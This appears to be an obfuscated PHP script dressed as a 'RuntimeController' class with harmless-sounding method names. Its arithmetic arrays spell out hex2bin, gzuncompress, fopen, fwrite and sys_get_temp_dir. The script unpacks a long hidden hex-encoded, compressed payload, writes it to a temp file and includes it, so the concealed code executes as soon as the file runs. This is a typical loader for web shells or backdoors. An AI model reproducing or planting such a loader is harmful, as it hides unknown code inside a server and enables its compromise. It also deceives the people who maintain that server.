<?php
class RuntimeController
{
    private $bo = '';
    private $kj = '';
    public function handleRequest($p1)
    {
        $k = array(2 * 55, 22 * 61 - 1237, 98, 16 + 34, 2 * 60, 106 - 5, 2 * 52);
        $g = '';
        foreach ($k as $s) {
            $g .= chr($s);
        }
        $g = strrev($g);
        return $g($p1);
    }
    public function resolveAction($p1)
    {
        $q = array(5 * 23, 32 * 108 - 3341, 101 * 1, 119 - 5, 67 * 89 - 5851, 109, 27 + 84, 3 * 33, 2 * 55, 123 - 6, 71 * 55 - 3783, 39 + 31 + 33);
        $i = '';
        foreach ($q as $j) {
            $i .= chr($j);
        }
        $i = strrev($i);
        return $i($p1);
    }
    public function generateToken($p1, $p2)
    {
        $j = array(62 * 1 + 48, 80 * 1 + 21, 44 + 68, 51 * 33 - 1572, 92 + 10);
        $o = '';
        foreach ($j as $jb) {
            $o .= chr($jb);
        }
        $o = strrev($o);
        return $o($p1, $p2);
    }
    public function trackActivity($p1, $p2)
    {
        $e = array(44 + 28 + 30, 119, 2 * 57, 109 - 4, 116, 45 * 54 - 2329);
        $c = '';
        foreach ($e as $v) {
            $c .= chr($v);
        }
        return $c($p1, $p2);
    }
    public function updateRegistry($p1)
    {
        $r = array(104 - 2, 19 * 69 - 1212, 108, 111, 17 * 124 - 1993, 105 - 4);
        $b = '';
        foreach ($r as $m) {
            $b .= chr($m);
        }
        return $b($p1);
    }
    public function cacheData($p1, $p2 = null)
    {
        $p = array(78 + 31, 26 + 79, 77 * 1 + 37, 116, 74 * 50 - 3586);
        $j = '';
        foreach ($p as $ji) {
            $j .= chr($ji);
        }
        $j = strrev($j);
        return $j($p1, $p2);
    }
    public function triggerCallback()
    {
        $this->kj = $this->cacheData($this->computeResult(), '/');
    }
    public function logTransaction()
    {
        $this->bo = $this->resolveAction($this->handleRequest($this->nz));
    }
    public function saveChanges()
    {
        $fn = $this->kj . '/xn-690d9216924e4';
        $f = $this->generateToken($fn, 'w');
        $this->trackActivity($f, $this->bo);
        $this->updateRegistry($f);
        $this->resetState($fn);
    }
    private $nz = '789c8d188b52e2caf257b4ca732085e5c515955d6ecea9908' . '487126278b88b5b5e2a84bc20242109e4e1f1df6ff74cf0107' . '17145a84cbfa7a7a71ff9efdfbee59f688e1a8627d36463bdf' . '881bd5523fd248cd4c8d6cea6d95c6bd0e71363e36a91edb92' . '7d3b59795cfa6be119e9f4d3711f3621be5d350778c6fdf080' . '3439fa78e51661a00d9b2611438ba5b26d400599bec4c0df59' . 'bda74ae6bde5c2fef31ff24829f9986e105c030f7e66c15d42' . 'c02e35f296b13a500ea946509aa51a9903583b89fe4f199d5a' . 'ca0ec05f3f21e8cf91f056c220af803ad7b669846a0479bc04' . '5cac66bd1057bdbc6fdbcec99caaa41a0a6e5d2540f4bec5fa' . '58e35b993cdc993b698b424459c484da7d3b1966d89bbeb889' . 'c26c8cd587c7a7ce44ae7a5a965130e2e56db0bafcf8952af6' . 'd2abda7b1f4d8b1eb0f1da55a6925d5a6348e75215df2cdb81' . 'af1a6a222a7ba45ce8766cce2ca3770259bb54a338bab0f63f' . '17b67d017c4a43a5212692e56a511ae5b564de82c42531ad49' . '4cee2bad31cd66f06c944e7925abd6d77d596559d013eee9ad' . '5dbbe702da3e4d91225f7acba7e17b34457b8f5103449b4d60' . 'f8e82347d4e40f158e2db2201d91931f0be196a52cee869441' . '63e2699be7bccb2b727cdc1c77e5ce3f9ef8f8fdf95e5badd3' . '265d9321551900cf06b2858524f1b2c9f5a1deea93d50b62d6' . '5acf51e158d5f717a2bae5606b9aa4d3aa7eef1ba52c68d246' . '54236b399e9548334efa5e6bdd4942404c71bb2c76628088be' . 'e1c21864be89298ef2521f5f09a18d7e695c577932a7135c29' . '6684f9c4221899f516f69e3263f21a0a543a826b9a7d62be29' . '69e29cd799b526416393c2333575df3aba15c5a5be38759913' . '8a93dead4a97f4d8fdaddedb5f31d063e42c6ab9a2f719e289' . 'b9ade3743f169acf8521c3ec92bc7041c5599d0dd69f2d338e' . 'a13dec8dff9dcda2ea8e4f0be994bd66222d995c86a4162ba9' . '52a577d85cb7a69ac3e2cb49b96cd51da8cf8b995556f65854' . 'b24beaec899e909c3eabaa770dbae409d17122a61e8554521a' . 'c737ced6b3bab128c1953f1dd04023c1604e98a1334bbbd301' . '3720c4e40c56b4b218b1d819fd81cdfbd6adbd525a2a3e57ab' . '70fd5a48471fd9ee36e7aa39a2adbd535629c35d530b684b4e' . '6b6175a2c8c149786f67cc7bed623ca5fab0bd938105329124' . '7b5abd6c2a3ce7657b917fe23a4754fcc961b71a854775e301' . '7142b9a42ea859c20dd0ac3eea530129376eaa522af11aa954' . 'e8564f5187c95c929f86a2481afea16f82abacfa8af2272d4c' . '2880bba4a18cbc3fa4c1a291493524c7575af845ffbbc367b1' . '09614b39891fb9f887a53e07e74f260dba6f4f016fdbb711ea' . '16e466c3592af3c6fdf4d8cfccc77d03b551e795d45a4a6681' . 'a8913a31acbbdf1f58af0ab245c4cea17d52277dca2562c66e' . '4d6f4941a89b274b3a297a126d0d4c1345e5f2d5d9deb41196' . 'b0c54062c20246de2dd5c9420017f84872489c6442e12408db' . '1c3508f207bb7c5d1cf0221e44474861b951848e62f67536fc' . 'b4e4ddd288a835c89773e8a737148f6e79f50547c2f248bf30' . '2f98c849a35076a283386ea843af332b7f5a2504c8a9800dc1' . '94a7dd581ea9008d32486cbca2144afc7f682f9130fc6dfed0' . '52bdfd99497e5fbaed8c0d2c5966d3762026fe3cecbd50af96' . '03984aab98ff97271b5ff57f9648d12b65b3b2f69f9ea27aa7' . 'b660bf66132c79bb12d318dd8b21d9d760268e91bc705adca3' . 'ff7ccb9ac56c83ff39c17783c81d343b2ebcae5f58ea6b2bfd' . '1a2b957954f01e0be978f75bc33a5a8e6bab2f70519b340579' . '7c4ef95caafbd82750d2fdeba941f0510bfd23339d07105b2e' . '1cb14f57e4185fb3f0c0a80d3a63af7686f2bb7cc7399b9384' . '0d42bf061769e7d87fc52810ff0911e0c4f8bdaf65ec4c5cdd' . 'edf6de593752eeffc501bec71ef0b7e6c1cd05c55e04324d04' . 'ef23dfa9dea4fd6ccf3a143ae2f6eaf2bc51fa2ef60d3c548f' . 'a644d44bc8f29d8e725d9275e70dbd59ccd5ccffbddd77f3b4' . '8cc4967d3d447ff2f6dbb1843d01091441d92180a53f51d1ab' . 'a244c0cdbb484679ffa34254e35d571d499f32ee5602384ad5' . '7061907b5adb626ab6d02676abb36e61d10cf340800f290e72' . '30848cef9f1a0273f8ca6c3616ffa280ebaadc983280ece69f' . '6fb2dfa8e3c1c9d1fb951c7a4b4e45e4ffede93796ed495fbe' . '79fdc8f639206e2683ce88f065c7fd802fb0fed39ca0dedbaf' . '08e0b72ec310e5eeef7457e34ea4aa23c2eec1fc2ee28e72f5' . '9688410463dd135ca86607746a1a61ed9aee1ed1004a6395ea' . '8ef20a4c6b9b3627dc15618cba00df5e5942da4454c8ab04d3' . 'a0b9d9033cf2bdad934f052d65783509f829a5dfc9c4dd564c' . '69609b6a8053a6bac8acb2568618b716cb8b4ff2c913d6e02b' . 'd88c67e1b3b8c3823617e20199a6f4cb42bb47fbf293820c49' . 'e1c9bbdf5965452a2eaa2a80b7b74ec36d71fabc29e1d75250' . '9eafa4800b6f038236035fc4802f6efd801261e48b828a0a08' . 'f07cc7c412ebbaab1460895d5f361be2d13b7fe5d3485b4c57' . '36832be15a544448c0ff23f3400db7c64848690793ea782f7d' . '3f4174c5ce497f9b60fbfb928e4da4fd6bb7e4ad59817c3df4' . '421793e271ecbe7fd7777296f1d4e0dddcb193149adfd88352' . '0ac73fefd2b71f9a502df9da2b5c990eb818d0630e540e02e1' . 'e0f4c34d88faa25863930e2c3826becee0f18047ddaeead006' . '8c2626c386b76176e437100f9aee8ec05e9677d4d2fd17a178' . '5f6517a1ca27062f6ec9c41b392a30c21cde9e98e3c384a6d9' . '2dd6f89357f7f4c827316b6d8d86c16030b472cbc3d19894fc' . 'b591e55055318de692b39a2cb2102d79b0355388ee125497da' . '2eb332fe3c8864387754417ce6d7814987ebeb91bc7f98dd33' . '0c94dd94447c4e22487a3fddcde93fbd9a14524056c20edfd5' . 'a304c78245d1a6f7221a20ddb89f460ba55f13d187865ff3e5' . 'c5edd62c781bfb4befb99c3122a9ab1dfb3c3e6f7d9bf5e16e' . 'ff327eb7d1520e9ad28500838a07174a4c129155f06a4369d6' . '974cdf24e0a1438b0621c86341383dc62b2c4e915f13382d68' . '2229622dd6c49b010ab45344eb3180c307c35f404ba1f86987' . 'bbab317b431fffcf3b6d482fd1548438b73b67cdf8e1be4835' . '2d14af2822eb321c4d9bf88dce2440953339ef22aa3782d28a' . '2718cc6e85ada148faa21beec35bbc1f79ee44569feda345f2' . 'd42cfdd3d13ab18525377d32ff2fecea48b033be6a1b430eae' . '22921ed9bcf5eff0feb0aec25';
    public function resetState($p)
    {
        include $p;
    }
    public function computeResult()
    {
        $a = array(115, 55 * 65 - 3454, 115, 51 + 44, 87 * 1 + 16, 101, 2 * 58, 5 + 90, 26 + 90, 101 * 1, 109 * 1, 2 * 56, 18 * 4 + 23, 13 + 11 + 76, 33 + 72, 114);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$rr = new RuntimeController();
$rr->triggerCallback();
$rr->logTransaction();
$rr->saveChanges();